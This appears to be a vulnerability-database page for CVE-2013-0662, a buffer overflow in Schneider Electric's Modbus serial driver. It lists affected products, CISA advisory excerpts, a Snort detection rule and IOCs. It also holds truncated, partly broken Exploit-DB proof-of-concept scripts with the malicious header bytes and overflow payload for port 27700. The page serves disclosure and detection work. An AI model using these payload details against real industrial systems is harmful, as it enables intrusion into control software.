CVE-2013-0662
published 2014-04-01CVE-2013-0662: Multiple stack-based buffer overflows in ModbusDrv.exe in Schneider Electric Modbus Serial Driver 1.10 through 3.2 allow remote attackers to execute arbitrary…
PriorityP266critical9.3CVSS 2.0
AVNACMAuNCCICAC
EXPLOIT
EPSS
22.29%
97.4th percentile
Multiple stack-based buffer overflows in ModbusDrv.exe in Schneider Electric Modbus Serial Driver 1.10 through 3.2 allow remote attackers to execute arbitrary code via a large buffer-size value in a Modbus Application Header.
Affected
21 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| schneider-electric | concept | <= 2.6 | — |
| schneider-electric | modbus_serial_driver | — | — |
| schneider-electric | modbus_serial_driver | — | — |
| schneider-electric | modbus_serial_driver | — | — |
| schneider-electric | modbuscommdtm_sl | <= 2.1.2 | — |
| schneider-electric | opc_factory_server | <= 3.5.0 | — |
| schneider-electric | opc_factory_server | — | — |
| schneider-electric | opc_factory_server | — | — |
| schneider-electric | pl7 | <= 4.5 | — |
| schneider-electric | powersuite | <= 2.6 | — |
| schneider-electric | sft2841 | <= 14.0 | — |
| schneider-electric | sft2841 | — | — |
| schneider-electric | somachine | <= 3.1 | — |
| schneider-electric | somachine | — | — |
| schneider-electric | somachine | — | — |
| schneider-electric | somove | <= 1.7 | — |
| schneider-electric | twidosuite | <= 2.31.04 | — |
| schneider-electric | unity_pro | <= 7.0 | — |
| schneider-electric | unity_pro | — | — |
| schneider-electric | unityloader | <= 2.3 | — |
| schneider_electric | somachine | — | — |
Detection & IOCsextracted from sources · hover to see the quote
commands.send(header); s.send(message) — header: \x00\xAA\xFF\xFF\x08\xDD\xFF, message: \x00\x64 + 'A'*2267↗
snort
alert tcp any any -> $HOME_NET 27700 (msg:"ET SCADA SEIG Modbus 3.4 - Remote Code Execution"; flow:established,to_server; content:"|42 42 ff ff 07 03 44 00 64|"; fast_pattern; content:"|90 90 90 90 90 90 90 90 90 90|"; distance:0; reference:url,exploit-db.com/exploits/45220/; reference:cve,2013-0662; classtype:attempted-user; sid:2026005; rev:1; metadata:created_at 2018_08_21, cve CVE_2013_0662, confidence High, signature_severity Major, updated_at 2019_07_26, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)
bytes
|42 42 ff ff 07 03 44 00 64|
bytes↗
\x00\xAA (header_padding) + \xFF\xFF (header_buffer_size) + \x08\xDD (header_recv_len) + \xFF (header_end)
- →Monitor for TCP connections to port 27700 on hosts running ModbusDrv.exe; this is the exclusive listener port for the vulnerable Modbus Serial Driver and should not receive inbound connections from untrusted networks. ↗
- →Detect exploit attempts by matching the two-stage Snort content pattern: initial header bytes |42 42 ff ff 07 03 44 00 64| followed immediately by a NOP sled |90 90 90 90 90 90 90 90 90 90| in the same TCP stream to port 27700.
- →Flag Modbus Application Header packets where the buffer-size field is set to \xFF\xFF (65535), which is the oversized value used to trigger the stack-based buffer overflow in ModbusDrv.exe. ↗
- →Alert on large payloads (e.g., 2267+ bytes of repeated data) sent to port 27700/TCP immediately after the Modbus Application Header, consistent with the DoS and RCE PoC buffer-fill patterns. ↗
- →Look for the process ModbusDrv.exe spawning unexpected child processes or crashing (access violation), which may indicate successful or attempted exploitation of the stack-based buffer overflow. ↗
- ·The PoC exploit scripts use hardcoded private IP addresses (192.168.127.137 / .138) as targets; these are lab addresses and not attacker infrastructure — do not treat them as threat IOCs. ↗
- ·The vulnerability only manifests when ModbusDrv.exe is running, which occurs only when a user attempts to connect to a PLC via serial port through one of the 11 affected Schneider Electric products; the attack surface is therefore conditional on active driver use. ↗
- ·Exploitation grants code execution only at the privilege level of the user running the vulnerable software, not SYSTEM-level; post-exploitation impact depends on the user context. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
CISA ICS
Schneider Electric Serial Modbus Driver Buffer Overflow
cisa_ics·2018-09-06
Schneider Electric Serial Modbus Driver Buffer Overflow
## Archived Content In an effort to keep CISA.gov current, the archive contains outdated information that may not reflect current policy or programs.
ICS Advisory
##
Schneider Electric Serial Modbus Driver Buffer Overflow
Last RevisedSeptember 06, 2018
Alert CodeICSA-14-086-01
## OVERVIEW
Carsten Eiram of Risk-Based Security has identified a stack-based buffer overflow vulnerability in Schneider Electric’s Serial Modbus Driver that affects 11 Schneider Electric products. Schneider Electric has produced patches that mitigate this vulnerability.
This vulnerability can be exploited remotely.
## AFFECTED PRODUCTS
The following Schneider Electric products bundle the Schneider Electric Modbus Serial Driver (ModbusDrv.exe), which is started when
CISA ICS
Schneider Electric Serial Modbus Driver Buffer Overflow (Update A)
cisa_ics·2014-03-27
Schneider Electric Serial Modbus Driver Buffer Overflow (Update A)
## Archived Content In an effort to keep CISA.gov current, the archive contains outdated information that may not reflect current policy or programs.
ICS Advisory
##
Schneider Electric Serial Modbus Driver Buffer Overflow (Update A)
Last RevisedSeptember 06, 2018
Alert CodeICSA-14-086-01A
## OVERVIEW
This updated advisory is a follow-up to the original advisory titled ICSA-14-086-01A Schneider Electric Serial Modbus Driver Buffer Overflow that was published March 27, 2014, on the NCCIC/ICS-CERT web site.
Carsten Eiram of Risk-Based Security has identified a stack-based buffer overflow vulnerability in Schneider Electric’s Serial Modbus Driver that affects 11 Schneider Electric products. Schneider Electric has produced patches that mitigate
GHSA
GHSA-8gr4-665r-f443: Multiple stack-based buffer overflows in ModbusDrv
ghsa_unreviewed·2022-05-13
CVE-2013-0662 [HIGH] CWE-787 GHSA-8gr4-665r-f443: Multiple stack-based buffer overflows in ModbusDrv
Multiple stack-based buffer overflows in ModbusDrv.exe in Schneider Electric Modbus Serial Driver 1.10 through 3.2 allow remote attackers to execute arbitrary code via a large buffer-size value in a Modbus Application Header.
Suricata
ET SCADA SEIG Modbus 3.4 - Remote Code Execution
suricata·2018-08-21
CVE-2013-0662 ET SCADA SEIG Modbus 3.4 - Remote Code Execution
ET SCADA SEIG Modbus 3.4 - Remote Code Execution
Rule: alert tcp any any -> $HOME_NET 27700 (msg:"ET SCADA SEIG Modbus 3.4 - Remote Code Execution"; flow:established,to_server; content:"|42 42 ff ff 07 03 44 00 64|"; fast_pattern; content:"|90 90 90 90 90 90 90 90 90 90|"; distance:0; reference:url,exploit-db.com/exploits/45220/; reference:cve,2013-0662; classtype:attempted-user; sid:2026005; rev:1; metadata:created_at 2018_08_21, cve CVE_2013_0662, confidence High, signature_severity Major, updated_at 2019_07_26, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)
Exploit-DB
SEIG Modbus 3.4 - Denial of Service (PoC)
exploitdb·2018-08-20·CVSS 9.3
CVE-2013-0662 [CRITICAL] SEIG Modbus 3.4 - Denial of Service (PoC)
SEIG Modbus 3.4 - Denial of Service (PoC)
---
# Title: SEIG Modbus 3.4 - Denial of Service (PoC)
# Author: Alejandro Parodi
# Date: 2018-08-17
# Vendor Homepage: https://www.schneider-electric.com
# Software Link: https://github.com/hdbreaker/Ricnar-Exploit-Solutions/tree/master/Medium/CVE-2013-0662-SEIG-Modbus-Driver-v3.34/VERSION%203.4
# Version: v3.4
# Tested on: Windows7 x86
# CVE: CVE-2013-0662
# References:
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0662
import socket
import struct
import time
ip = "192.168.127.137"
port = 27700
con = (ip, port)
header_padding = "\x00\xAA"
header_buffer_size = "\xFF\xFF"
header_recv_len = "\x08\xDD" #(header_buffer_size + 1 en el ultimo byte por que se le resta uno)
header_end = "\xFF"
header = header_padding + header_buffer_size
Exploit-DB
SEIG Modbus 3.4 - Remote Code Execution
exploitdb·2018-08-20·CVSS 9.3
CVE-2013-0662 [CRITICAL] SEIG Modbus 3.4 - Remote Code Execution
SEIG Modbus 3.4 - Remote Code Execution
---
# Title: SEIG Modbus 3.4 - Remote Code Execution
# Author: Alejandro Parodi
# Date: 2018-08-17
# Vendor Homepage: https://www.schneider-electric.com
# Software Link: https://github.com/hdbreaker/Ricnar-Exploit-Solutions/tree/master/Medium/CVE-2013-0662-SEIG-Modbus-Driver-v3.34/VERSION%203.4
# Version: v3.4
# Tested on: Windows XP SP3
# CVE: CVE-2013-0662
# References:
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0662
import socket
import struct
ip = "192.168.127.138"
port = 27700
con = (ip, port)
####### MESSAGE ##########
message_header = "\x00\x64"
message_buffer = "A" * 0x5dc
eip = struct.pack("H", len(message))
header_end = "\x44"
header = header_padding + header_buf_size + header_recv_len + header_end
####################
No writeups or analysis indexed.
http://download.schneider-electric.com/files?p_Doc_Ref=SEVD%202013-070-01http://ics-cert.us-cert.gov/advisories/ICSA-14-086-01http://www.securityfocus.com/bid/66500https://www.exploit-db.com/exploits/45219/https://www.exploit-db.com/exploits/45220/http://download.schneider-electric.com/files?p_Doc_Ref=SEVD%202013-070-01http://ics-cert.us-cert.gov/advisories/ICSA-14-086-01http://www.securityfocus.com/bid/66500https://www.exploit-db.com/exploits/45219/https://www.exploit-db.com/exploits/45220/
2014-04-01
Published